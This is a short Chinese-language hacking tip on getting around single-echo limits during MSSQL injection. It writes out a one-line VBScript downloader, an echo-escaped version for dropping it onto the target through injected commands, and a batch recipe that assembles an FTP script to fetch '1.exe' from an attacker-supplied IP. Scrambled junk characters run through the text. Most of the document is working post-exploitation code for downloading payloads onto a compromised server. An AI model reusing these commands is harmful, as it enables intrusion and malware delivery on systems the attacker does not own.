mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
1.iget.vbs一次写入
0 S- n* n$ W& |6 o: v" x/ z在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

5 p" s8 B; q0 V4 qSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

这样我们可以一次echo成功,echo版本:

echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs


2.bat调用ftp脚本的写法(by envymask)

& L* L" p& T4 r8 N3 U+ `9 Hecho ftp&gt;1.vbs
; s7 l' G# U+ Q$ o3 g. Hecho open ip&gt;2.vbs
3 u+ I* c- [$ G. l: l! yecho u&gt;3.vbs
) A. s! A% Y/ fecho s&gt;4.vbs
echo binary&gt;5.vbs
! \4 \* r3 e9 r% P- o5 W& Vecho get 1.exe&gt;6.vbs
echo bay&gt;7.vbs
% p$ A# k5 _4 V6 w" @
5 y1 H( D0 ^* n9 ^* \. pcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
. ?3 f7 s- D5 Q( y0 I. H) n</P>